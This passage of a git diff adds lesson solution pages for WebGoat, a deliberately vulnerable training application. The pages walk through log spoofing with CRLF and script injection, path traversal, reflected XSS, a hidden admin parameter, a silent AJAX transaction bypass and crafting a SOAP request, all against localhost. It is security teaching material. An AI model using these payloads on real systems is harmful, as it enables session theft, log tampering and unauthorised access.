b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing.html b/main/project/WebContent/lesson_solutions/LogSpoofing.html new file mode 100644 index 000000000..35fcaeaf1 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/LogSpoofing.html @@ -0,0 +1,793 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform Log Spoofing.

+ +

 

+ +

Concept / +Topic To Teach:

+ +

This lesson +teaches attempts to fool the human eye.

+ +

 

+ +

How the +attacks works: The attack +is based on fooling the human eye in log files. An attacker can erase his +traces from the logs using this attack.

+ +

 

+ +

General +Goal(s):

+ +

The +grey area below represents what is going to be logged in the web server's log +file.
+Your goal is to make it like a username "admin" has succeeded into +logging in.
+Elevate your attack by adding a script to the log file.  

+ +

 

+ +

+ +

Figure 1 Log Spoofing

+ +

 

+ +

Solution:

+ +

 

+ +

This lesson accepts any input for a username and appends the information +to the log file.

+ +

 

+ +

Enter for username the text: smith Login Succeeded for username admin

+ +

 

+ +

+ +

Figure 2 Log spoof with long text

+ +

 

+ +

The text is added to the same line, not a new line. But any input is +allowed.

+ +

In this way you can inject carriage return (%0d) and line feed (%0a) to +the application.

+ +

 

+ +

Fill out the following text for the username: Smith%0d%0aLogin Succeeded +for username: admin

+ +

 

+ +

+ +

Figure 3 Lesson completed

+ +

 

+ +

An attacker +can use this attack to add malicious JavaScript to the log file, which will be +viewed by the administrator using a browser. What happens when you inject admin +<script>alert(document.cookie)</script> for the username?

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/Thumbs.db b/main/project/WebContent/lesson_solutions/LogSpoofing_files/Thumbs.db new file mode 100644 index 000000000..c8864bbfb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/Thumbs.db differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/LogSpoofing_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/LogSpoofing_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/filelist.xml b/main/project/WebContent/lesson_solutions/LogSpoofing_files/filelist.xml new file mode 100644 index 000000000..66f2f27d6 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/LogSpoofing_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/image001.png b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image001.png new file mode 100644 index 000000000..59ffaca93 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/image003.png b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image003.png new file mode 100644 index 000000000..100684c5f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/image005.png b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image005.png new file mode 100644 index 000000000..0174b03b0 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/image007.jpg b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image007.jpg new file mode 100644 index 000000000..50abf182f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image007.jpg differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/image008.jpg b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image008.jpg new file mode 100644 index 000000000..afd0c3eb3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/image009.jpg b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image009.jpg new file mode 100644 index 000000000..259e28f16 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/LogSpoofing_files/themedata.thmx b/main/project/WebContent/lesson_solutions/LogSpoofing_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/LogSpoofing_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl.html b/main/project/WebContent/lesson_solutions/PathBasedAccessControl.html new file mode 100644 index 000000000..70661cf1e --- /dev/null +++ b/main/project/WebContent/lesson_solutions/PathBasedAccessControl.html @@ -0,0 +1,650 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: How to Bypass a Path Based Access +Control Scheme

+ +

Concept / Topic To Teach: +
+In a path based access control scheme, +an attacker can traverse a path by providing relative path information. +Therefore an attacker can use relative paths to access files that normally are +not directly accessible by anyone, or would otherwise be denied if requested +directly.

+ +

General Goal(s): +
+The user should be able to +access a file that is not in the listed directory.

+ +

+ +

Figure 1 Lesson 8

+ +

 

+ +

Solution:

+ +

 

+ +

This lesson +can be solved by intercepting the filename in WebScarab and replacing it with +../main.jsp which is a file located in a folder below the current directory.

+ +

 

+ +

+ +

Figure 2 Change the variable File

+ +

 

+ +

+ +

Figure 3 Lessen 8 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/filelist.xml b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/filelist.xml new file mode 100644 index 000000000..496ea3696 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image001.png b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image001.png new file mode 100644 index 000000000..089968f01 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image002.jpg b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image002.jpg new file mode 100644 index 000000000..4d4b17604 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image003.png b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image003.png new file mode 100644 index 000000000..0bc317162 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image004.jpg b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image004.jpg new file mode 100644 index 000000000..7978fe44b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image005.png b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image005.png new file mode 100644 index 000000000..4f0de1d74 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image006.jpg b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image006.jpg new file mode 100644 index 000000000..4d4491eb3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/themedata.thmx b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/PathBasedAccessControl_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS.html b/main/project/WebContent/lesson_solutions/ReflectedXSS.html new file mode 100644 index 000000000..cf6dc625d --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ReflectedXSS.html @@ -0,0 +1,685 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: How to Perform Reflected Cross Site +Scripting (XSS) Attacks

+ +

Concept / Topic To Teach:
+It is always a good practice to validate +all input on the server side. XSS can occur when unvalidated user input is used +in an HTTP response. In a reflected XSS attack, an attacker can craft a URL +with the attack script and post it to another website, email it, or otherwise +get a victim to click on it.

+ +

General Goal(s):
+
For this exercise, your +mission is to come up with some input containing a script. You have to try to +get this page to reflect that input back to your browser, which will execute +the script and do something bad.

+ +

+ +

Figure 1 Lesson 15

+ +

 

+ +

Solution:

+ +

 

+ +

Enter +<script>alert('Bang!')</script> for the PIN value

+ +

 

+ +

+ +

Figure 2 Lesson 15 Completed

+ +

 

+ +
+
+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS_files/filelist.xml b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/filelist.xml new file mode 100644 index 000000000..8ebcbe37d --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/filelist.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image001.png b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image001.png new file mode 100644 index 000000000..6ff72a45b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image003.png b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image003.png new file mode 100644 index 000000000..e44f2e566 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image005.jpg b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image005.jpg new file mode 100644 index 000000000..73cdb0bbf Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image005.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image006.jpg b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image006.jpg new file mode 100644 index 000000000..fb2e1977e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ReflectedXSS_files/themedata.thmx b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ReflectedXSS_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw.html b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw.html new file mode 100644 index 000000000..09c5164d1 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw.html @@ -0,0 +1,666 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: Remote +Admin Access

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Applications +will often have an administrative interface that allows privileged users access +to functionality that normal users shouldn't see. The application server will +often have an admin interface as well.

+ +

 

+ +

General +Goal(s):

+ +

Try to access +the administrative interface for WebGoat. You may also try to access the +administrative interface for Tomcat. The Tomcat admin interface can be accessed +via a URL (/admin) and will not count towards the completion of this lesson.

+ +

 

+ +

+ +

Figure 1 Lesson 7

+ +

 

+ +

Solution:

+ +

 

+ +

Append &admin=true to the URL in the +browser and hit “Enter”

+ +

 

+ +

Open the menu +“Admin functions” and notice that you have additional menu options like +“Database Dump”, “User Information” and “Product Information”.

+ +

 

+ +

+ +

Figure 2 Some extra admin functions

+ +

 

+ +

Clicking on +“User Information” will not work. This is because the URL behind “User +Information” is http://localhost/WebGoat/attack?Screen=71&menu=10 +does not contain the parameter admin=true. Rewrite the URL to become http://localhost/WebGoat/attack?Screen=71&menu=10&admin=true

+ +

 

+ +

Remark: the parameter Screen is generated +randomly and can be different in your environment!

+ +

 

+ +

+ +

Figure 3 Lesson 7 Completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/filelist.xml b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/filelist.xml new file mode 100644 index 000000000..abc27092d --- /dev/null +++ b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image001.png b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image001.png new file mode 100644 index 000000000..eb4392c2d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image002.jpg b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image002.jpg new file mode 100644 index 000000000..6301ccbb1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image003.png b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image003.png new file mode 100644 index 000000000..b6bf2f272 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image004.jpg b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image004.jpg new file mode 100644 index 000000000..d94ac96c1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image005.png b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image005.png new file mode 100644 index 000000000..4a274e847 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image006.jpg b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image006.jpg new file mode 100644 index 000000000..b93cbad84 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions.html b/main/project/WebContent/lesson_solutions/SilentTransactions.html new file mode 100644 index 000000000..06ef67a06 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SilentTransactions.html @@ -0,0 +1,932 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform Silent Transactions Attacks.

+ +

 

+ +

Concept / +Topic To Teach:

+ +

This lesson +teaches how to perform silent transactions attacks.

+ +

 

+ +

How the +attacks works:

+ +

Any system that +silently processes transactions using a single submission is dangerous to the +client. For example, if a normal web application allows a simple URL +submission, a preset session attack will allow the attacker to complete a +transaction without the user’s authorization. In Ajax, it gets worse: the +transaction is silent; it happens with no user feedback on the page, so an +injected attack script may be able to steal money from the client without +authorization.

+ +

 

+ +

General +Goal(s):

+ +

This is a +sample internet banking application - money transfer page.

+ +

It shows +below your balance, the account you are transferring to and amount you will +transfer.
+The application uses AJAX to submit the transaction after doing some basic +client side validations.
+Your goal is to try to bypass the user's authorization and silently execute the +transaction.
+
+

+ +

+ +

Figure 1 AJAX Security - Silent transaction attacks

+ +

 

+ +

Solution:

+ +

This web +application uses JavaScript on the client to initiate a transaction for +transferring money. Examining the HTML source reveals that two JavaScript +functions are being used:

+ +

 

+ +

<script>

+ +

function +processData(){

+ +

 var accountNo = +document.getElementById('newAccount').value;

+ +

 var amount = +document.getElementById('amount').value;

+ +

 if ( accountNo == ''){

+ +

 alert('Please enter a valid account number to +transfer to.')

+ +

 return;

+ +

}

+ +

 else if ( amount == ''){

+ +

 alert('Please enter a valid amount to +transfer.')

+ +

 return;

+ +

}

+ +

 var balanceValue = +document.getElementById('balanceID').innerText;

+ +

 balanceValue = balanceValue.replace( new +RegExp('$') , '');

+ +

 if ( parseFloat(amount) > +parseFloat(balanceValue) ) {

+ +

 alert('You can not transfer more funds than +what is available in your balance.')

+ +

 return;

+ +

}

+ +

 document.getElementById('confirm').value  = 'Transferring'

+ +

submitData(accountNo, +amount);

+ +

 document.getElementById('confirm').value  = 'Confirm'

+ +

balanceValue += parseFloat(balanceValue) - parseFloat(amount);

+ +

balanceValue += balanceValue.toFixed(2);

+ +

document.getElementById('balanceID').innerText += balanceValue + '$';

+ +

}

+ +

function +submitData(accountNo, balance) {

+ +

var url = +'/WebGoat/attack?Screen=74&menu=1150&from=ajax&newAccount='+ +accountNo+ '&amount=' + balance +'&confirm=' + +document.getElementById('confirm').value;

+ +

if (typeof +XMLHttpRequest != 'undefined') {

+ +

req = new +XMLHttpRequest();

+ +

} else if +(window.ActiveXObject) {

+ +

req = new +ActiveXObject('Microsoft.XMLHTTP');

+ +

   }

+ +

   req.open('GET', url, true);

+ +

   req.onreadystatechange = callback;

+ +

   req.send(null);

+ +

}

+ +

function +callback() {

+ +

    if (req.readyState == 4) {

+ +

        if (req.status == 200) {

+ +

                   var result =  req.responseText ;

+ +

                                     var resultsDiv = +document.getElementById('resultsDiv');

+ +

                                                resultsDiv.innerHTML = '';

+ +

                                                resultsDiv.innerHTML += result;

+ +

        }}}

+ +

</script>

+ +

 

+ +

The function +processData() is called when the user fills out an account number and an amount +to transfer. The function processData() will check if the user has sufficient +balance before initiating the transaction. After validation of the balance, the +JavaScript function submitData(accountNo, balance) is called which actually +submits the required information, target account number and the amount to +transfer, to the back-end web application.

+ +

 

+ +

If you are +able to call this JavaScript function submitData(accountNo, balance) from the +browser, you are able to bypass the client-side validation and execute this +transaction silently, without an additional approval or digital signature of +the user.

+ +

 

+ +

The latest +generation of browsers allows to call JavaScript from the address bar, using +javascript:function();. Try to execute: javascript:submitData(1234556,11000);

+ +

 

+ +

+ +

Figure 2 Follow the hints....

+ +

 

+ +

+ +

Figure 3 HTTP Request generated from Javascript function +submitData(123456,110000);

+ +

 

+ +

 

+ +

+ +

Figure 4 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/SilentTransactions_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SilentTransactions_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/filelist.xml b/main/project/WebContent/lesson_solutions/SilentTransactions_files/filelist.xml new file mode 100644 index 000000000..dbcf5ad0e --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SilentTransactions_files/filelist.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image001.png b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image001.png new file mode 100644 index 000000000..61f7e63a1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image003.png b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image003.png new file mode 100644 index 000000000..faf59c077 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image005.png b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image005.png new file mode 100644 index 000000000..4f4f0608a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image007.png b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image007.png new file mode 100644 index 000000000..04494b197 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image009.jpg b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image009.jpg new file mode 100644 index 000000000..b2529e37c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image010.jpg b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image010.jpg new file mode 100644 index 000000000..da2d8692a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image010.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image011.jpg b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image011.jpg new file mode 100644 index 000000000..efdefff06 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image011.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/image012.jpg b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image012.jpg new file mode 100644 index 000000000..8375ab7cd Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/image012.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SilentTransactions_files/themedata.thmx b/main/project/WebContent/lesson_solutions/SilentTransactions_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SilentTransactions_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest.html b/main/project/WebContent/lesson_solutions/SoapRequest.html new file mode 100644 index 000000000..f1e1a5059 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SoapRequest.html @@ -0,0 +1,874 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Create a SOAP Request

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Web +Services communicate through the use of SOAP requests. These requests are +submitted to a web service in an attempt to execute a function defined in the +web service definition language (WSDL). Let's learn something about WSDL files. +Check out WebGoat's web service description language (WSDL) file.

+ +

 

+ +

General +Goal(s):

+ +

Try +connecting to the WSDL with a browser or Web Service tool. The URL for the web +service is: http://localhost/WebGoat/services/SoapRequest The WSDL can usually +be viewed by adding a ?WSDL on the end of the web service request.

+ +

 

+ +

+ +

Figure 1 - Lesson 21

+ +

 

+ +

Solution:

+ +

 

+ +

Click on the +URL “WebGoat WSDL” to examine the Webservices Description Language file.

+ +

 

+ +

+ +

Figure 2 - WSDL

+ +

 

+ +

Count the +number of operations like getFirstName. There are 4 operations defined.

+ +

 

+ +

+ +

Figure 3 Enter the ID

+ +

 

+ +

For the next +question the getFirstNameRequest method uses an int as parameter type. Enter +int and click “Submit”.

+ +

 

+ +

+ +

Figure 4 Stage 2 Completed

+ +

 

+ +

Intercept the +HTTP Request with WebScarab and click on the “Raw” tab. Make sure that +“Intercept Responses” is selected.

+ +

 

+ +
    +
  1. Change the POST header to open + the SoapRequest.
  2. +
  3. Change the Content-Type to + text/xml.
  4. +
  5. Add a header SOAPAction.
  6. +
  7. Append the XML envelope to the + request
  8. +
+ +

 

+ +

POST +http://neo:80/WebGoat/services/SoapRequest HTTP/1.1

+ +

Content-Type: +text/xml

+ +

SOAPAction: +

+ +

 

+ +

<?xml +version="1.0" encoding="UTF-8"?>

+ +

<SOAP-ENV:Envelope +xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

+ +

xmlns:xsd="http://www.w3.org/2001/XMLSchema" +

+ +

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> +

+ +

  <SOAP-ENV:Body>

+ +

    <ns1:getFirstName +SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" +xmlns:ns1="http://lessons">

+ +

    <id +xsi:type="xsd:int">101</id>

+ +

    +</ns1:getFirstName> +

+ +

  </SOAP-ENV:Body>

+ +

</SOAP-ENV:Envelope>

+ +

 

+ +

The response +is Joe.

+ +

+ +

Figure 5 Intercept response

+ +

 

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/SoapRequest_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SoapRequest_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/filelist.xml b/main/project/WebContent/lesson_solutions/SoapRequest_files/filelist.xml new file mode 100644 index 000000000..2c3012bc9 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SoapRequest_files/filelist.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image001.png b/main/project/WebContent/lesson_solutions/SoapRequest_files/image001.png new file mode 100644 index 000000000..baa4ba50f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image002.jpg b/main/project/WebContent/lesson_solutions/SoapRequest_files/image002.jpg new file mode 100644 index 000000000..f9ab80c9b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image003.png b/main/project/WebContent/lesson_solutions/SoapRequest_files/image003.png new file mode 100644 index 000000000..ab5ed9af8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image004.jpg b/main/project/WebContent/lesson_solutions/SoapRequest_files/image004.jpg new file mode 100644 index 000000000..c12c37f71 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image005.png b/main/project/WebContent/lesson_solutions/SoapRequest_files/image005.png new file mode 100644 index 000000000..f46b3b8f7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image006.jpg b/main/project/WebContent/lesson_solutions/SoapRequest_files/image006.jpg new file mode 100644 index 000000000..d7c4069ba Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image007.png b/main/project/WebContent/lesson_solutions/SoapRequest_files/image007.png new file mode 100644 index 000000000..a841fc1d5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image008.jpg b/main/project/WebContent/lesson_solutions/SoapRequest_files/image008.jpg new file mode 100644 index 000000000..2d4b523a5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image009.png b/main/project/WebContent/lesson_solutions/SoapRequest_files/image009.png new file mode 100644 index 000000000..2b7656cc1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/image010.jpg b/main/project/WebContent/lesson_solutions/SoapRequest_files/image010.jpg new file mode 100644 index 000000000..910fb47dc Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/image010.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SoapRequest_files/themedata.thmx b/main/project/WebContent/lesson_solutions/SoapRequest_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SoapRequest_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection.html 